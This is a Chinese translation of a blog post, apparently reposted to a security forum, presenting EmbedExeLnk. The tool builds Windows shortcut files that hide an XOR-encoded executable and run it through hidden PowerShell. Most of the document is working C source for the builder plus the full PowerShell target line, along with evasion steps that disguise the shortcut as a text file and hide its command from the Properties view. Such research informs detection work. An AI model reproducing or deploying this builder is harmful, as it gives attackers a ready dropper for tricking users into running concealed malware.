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[翻译]EmbedExeLnk - 在LNK内嵌入EXE并自动执行
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发表于: 2022-2-10 11:00
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翻译
原文地址：https://www.x86matthew.com/view_post?id=embed_exe_lnk
功能：在LNK内嵌入EXE并自动执行
我已经在自然环境下看到了各种恶意的LNK文件。这些链接文件通常执行一个脚本（Powershell、VBScript等），下载一个外部payload。
我给自己设定的挑战是创建一个内嵌EXE文件的LNK文件，而不需要外部下载。
这是通过创建一个LNK文件来实现的，EXE文件被附加到最后。LNK文件执行一些Powershell命令，从LNK的末尾读取EXE的内容，将其复制到%TEMP%文件夹中的一个文件，并执行它。
我开发了一个程序，从目标EXE文件中创建一个LNK。
这种方法遇到一些问题：
1. 找到LNK文件的文件名。
当执行Powershell命令从LNK中提取EXE时，我们不知道已经执行的LNK文件的文件名。我们可以对文件名进行硬编码，但这不是一个可靠的解决方案。通过在Powershell命令中存储LNK文件的总大小，并检查当前目录中的所有*.LNK文件，以找到一个具有匹配文件大小的文件来解决这个问题。
2. 找到LNK中EXE数据的偏移量。
这一点通过在Powershell命令中存储原始LNK文件的长度（不包括附加的EXE数据）来解决。
3. 在查看LNK文件的 "属性 "时，Powershell命令是可见的。
这一点通过在目标字段前加上512个空格字符得到了解决。这使 "属性 "对话框中的文本字段溢出，只显示空格。
4. LNK文件有一个可执行文件的图标。
通过将图标位置（使用HasIconLocation标志）设置为"%windir%\system32\notepad.exe "来解决这个问题。
5. 悬停在LNK文件上的位置显示为 "cmd"。
通过将快捷方式描述(使用“名称”标志)设置为“Type: Text Document\nSize: 5.23 KB\nDate modified: 01/02/2020 11:23“
6. 在十六进制编辑器中打开LNK文件时，EXE文件清晰可见。
通过使用XOR对EXE文件数据的每个字节进行 "加密"，并使用Powershell对其进行 "解密"，这一点得到了改善。
完整的LNK目标看起来像这样。
cmd /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq [TOTAL_LNK_FILE_SIZE]} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip [LNK_FILE_SIZE_EXCLUDING_EXE])) -Encoding Byte; ^& $path;下面是完整的概念验证程序代码：
#include <stdio.h>
#include <windows.h>
#define INVALID_SET_FILE_POINTER 0xFFFFFFFF
#define HasName 0x00000004
#define HasArguments 0x00000020
#define HasIconLocation 0x00000040
#define IsUnicode 0x00000080
#define HasExpString 0x00000200
#define PreferEnvironmentPath 0x02000000
struct ShellLinkHeaderStruct
{
DWORD dwHeaderSize;
CLSID LinkCLSID;
DWORD dwLinkFlags;
DWORD dwFileAttributes;
FILETIME CreationTime;
FILETIME AccessTime;
FILETIME WriteTime;
DWORD dwFileSize;
DWORD dwIconIndex;
DWORD dwShowCommand;
WORD wHotKey;
WORD wReserved1;
DWORD dwReserved2;
DWORD dwReserved3;
};
struct EnvironmentVariableDataBlockStruct
{
DWORD dwBlockSize;
DWORD dwBlockSignature;
char szTargetAnsi[MAX_PATH];
wchar_t wszTargetUnicode[MAX_PATH];
};
DWORD CreateLinkFile(char *pExePath, char *pOutputLinkPath, char *pLinkIconPath, char *pLinkDescription)
{
HANDLE hLinkFile = NULL;
HANDLE hExeFile = NULL;
ShellLinkHeaderStruct ShellLinkHeader;
EnvironmentVariableDataBlockStruct EnvironmentVariableDataBlock;
DWORD dwBytesWritten = 0;
WORD wLinkDescriptionLength = 0;
wchar_t wszLinkDescription[512];
WORD wCommandLineArgumentsLength = 0;
wchar_t wszCommandLineArguments[8192];
WORD wIconLocationLength = 0;
wchar_t wszIconLocation[512];
BYTE bExeDataBuffer[1024];
DWORD dwBytesRead = 0;
DWORD dwEndOfLinkPosition = 0;
DWORD dwCommandLineArgsStartPosition = 0;
wchar_t *pCmdLinePtr = NULL;
wchar_t wszOverwriteSkipBytesValue[16];
wchar_t wszOverwriteSearchLnkFileSizeValue[16];
BYTE bXorEncryptValue = 0;
DWORD dwTotalFileSize = 0;
// set xor encrypt value
bXorEncryptValue = 0x77;
// create link file
hLinkFile = CreateFile(pOutputLinkPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(hLinkFile == INVALID_HANDLE_VALUE)
{
printf("Failed to create output file\n");
return 1;
}
// initialise link header
memset((void*)&ShellLinkHeader, 0, sizeof(ShellLinkHeader));
ShellLinkHeader.dwHeaderSize = sizeof(ShellLinkHeader);
CLSIDFromString(L"{00021401-0000-0000-C000-000000000046}", &ShellLinkHeader.LinkCLSID);
ShellLinkHeader.dwLinkFlags = HasArguments | HasExpString | PreferEnvironmentPath | IsUnicode | HasName | HasIconLocation;
ShellLinkHeader.dwFileAttributes = 0;
ShellLinkHeader.CreationTime.dwHighDateTime = 0;
ShellLinkHeader.CreationTime.dwLowDateTime = 0;
ShellLinkHeader.AccessTime.dwHighDateTime = 0;
ShellLinkHeader.AccessTime.dwLowDateTime = 0;
ShellLinkHeader.WriteTime.dwHighDateTime = 0;
ShellLinkHeader.WriteTime.dwLowDateTime = 0;
ShellLinkHeader.dwFileSize = 0;
ShellLinkHeader.dwIconIndex = 0;
ShellLinkHeader.dwShowCommand = SW_SHOWMINNOACTIVE;
ShellLinkHeader.wHotKey = 0;
// write ShellLinkHeader
if(WriteFile(hLinkFile, (void*)&ShellLinkHeader, sizeof(ShellLinkHeader), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// set link description
memset(wszLinkDescription, 0, sizeof(wszLinkDescription));
mbstowcs(wszLinkDescription, pLinkDescription, (sizeof(wszLinkDescription) / sizeof(wchar_t)) - 1);
wLinkDescriptionLength = (WORD)wcslen(wszLinkDescription);
// write LinkDescriptionLength
if(WriteFile(hLinkFile, (void*)&wLinkDescriptionLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// write LinkDescription
if(WriteFile(hLinkFile, (void*)wszLinkDescription, wLinkDescriptionLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// set target command-line
memset(wszCommandLineArguments, 0, sizeof(wszCommandLineArguments));
_snwprintf(wszCommandLineArguments, (sizeof(wszCommandLineArguments) / sizeof(wchar_t)) - 1, L"%512S/c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00000000} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 000000)) -Encoding Byte; ^& $path;", "", bXorEncryptValue);
wCommandLineArgumentsLength = (WORD)wcslen(wszCommandLineArguments);
// write CommandLineArgumentsLength
if(WriteFile(hLinkFile, (void*)&wCommandLineArgumentsLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// store start of command-line arguments position
dwCommandLineArgsStartPosition = GetFileSize(hLinkFile, NULL);
// write CommandLineArguments
if(WriteFile(hLinkFile, (void*)wszCommandLineArguments, wCommandLineArgumentsLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// set link icon path
memset(wszIconLocation, 0, sizeof(wszIconLocation));
mbstowcs(wszIconLocation, pLinkIconPath, (sizeof(wszIconLocation) / sizeof(wchar_t)) - 1);
wIconLocationLength = (WORD)wcslen(wszIconLocation);
// write IconLocationLength
if(WriteFile(hLinkFile, (void*)&wIconLocationLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// write IconLocation
if(WriteFile(hLinkFile, (void*)wszIconLocation, wIconLocationLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// initialise environment variable data block
memset((void*)&EnvironmentVariableDataBlock, 0, sizeof(EnvironmentVariableDataBlock));
EnvironmentVariableDataBlock.dwBlockSize = sizeof(EnvironmentVariableDataBlock);
EnvironmentVariableDataBlock.dwBlockSignature = 0xA0000001;
strncpy(EnvironmentVariableDataBlock.szTargetAnsi, "%windir%\\system32\\cmd.exe", sizeof(EnvironmentVariableDataBlock.szTargetAnsi) - 1);
mbstowcs(EnvironmentVariableDataBlock.wszTargetUnicode, EnvironmentVariableDataBlock.szTargetAnsi, (sizeof(EnvironmentVariableDataBlock.wszTargetUnicode) / sizeof(wchar_t)) - 1);
// write EnvironmentVariableDataBlock
if(WriteFile(hLinkFile, (void*)&EnvironmentVariableDataBlock, sizeof(EnvironmentVariableDataBlock), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// store end of link data position
dwEndOfLinkPosition = GetFileSize(hLinkFile, NULL);
// open target exe file
hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hExeFile == INVALID_HANDLE_VALUE)
{
printf("Failed to open exe file\n");
// error
CloseHandle(hLinkFile);
return 1;
}
// append exe file to the end of the lnk file
for(;;)
{
// read data from exe file
if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hLinkFile);
return 1;
}
// check for end of file
if(dwBytesRead == 0)
{
break;
}
// "encrypt" the exe file data
for(DWORD i = 0; i < dwBytesRead; i++)
{
bExeDataBuffer[i] ^= bXorEncryptValue;
}
// write data to lnk file
if(WriteFile(hLinkFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hLinkFile);
return 1;
}
}
// close exe file handle
CloseHandle(hExeFile);
// store total file size
dwTotalFileSize = GetFileSize(hLinkFile, NULL);
// find the offset value of the number of bytes to skip in the command-line arguments
pCmdLinePtr = wcsstr(wszCommandLineArguments, L"select -Skip 000000)");
if(pCmdLinePtr == NULL)
{
// error
CloseHandle(hLinkFile);
return 1;
}
pCmdLinePtr += strlen("select -Skip ");
// move the file pointer back to the "000000" value in the command-line arguments
if(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// overwrite link file size
memset(wszOverwriteSkipBytesValue, 0, sizeof(wszOverwriteSkipBytesValue));
_snwprintf(wszOverwriteSkipBytesValue, (sizeof(wszOverwriteSkipBytesValue) / sizeof(wchar_t)) - 1, L"%06u", dwEndOfLinkPosition);
if(WriteFile(hLinkFile, (void*)wszOverwriteSkipBytesValue, wcslen(wszOverwriteSkipBytesValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// find the offset value of the total lnk file length in the command-line arguments
pCmdLinePtr = wcsstr(wszCommandLineArguments, L"_.length -eq 0x00000000}");
if(pCmdLinePtr == NULL)
{
// error
CloseHandle(hLinkFile);
return 1;
}
pCmdLinePtr += strlen("_.length -eq ");
// move the file pointer back to the "0x00000000" value in the command-line arguments
if(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// overwrite link file size
memset(wszOverwriteSearchLnkFileSizeValue, 0, sizeof(wszOverwriteSearchLnkFileSizeValue));
_snwprintf(wszOverwriteSearchLnkFileSizeValue, (sizeof(wszOverwriteSearchLnkFileSizeValue) / sizeof(wchar_t)) - 1, L"0x%08X", dwTotalFileSize);
if(WriteFile(hLinkFile, (void*)wszOverwriteSearchLnkFileSizeValue, wcslen(wszOverwriteSearchLnkFileSizeValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);
return 1;
}
// close output file handle
CloseHandle(hLinkFile);
return 0;
}
int main(int argc, char *argv[])
{
char *pExePath = NULL;
char *pOutputLinkPath = NULL;
printf("EmbedExeLnk - www.x86matthew.com\n\n");
if(argc != 3)
{
printf("Usage: %s [exe_path] [output_lnk_path]\n\n", argv[0]);
return 1;
}
// get params
pExePath = argv[1];
pOutputLinkPath = argv[2];
// create a link file containing the target exe
if(CreateLinkFile(pExePath, pOutputLinkPath, "%windir%\\system32\\notepad.exe", "Type: Text Document\nSize: 5.23 KB\nDate modified: 01/02/2020 11:23") != 0)
{
printf("Error\n");
return 1;
}
printf("Finished\n");
return 0;
}下载样本LNK文件
https://www.x86matthew.com/sample/x86matthew.lnk
(这将执行我用汇编写的一个小程序，它调用MessageBoxA)
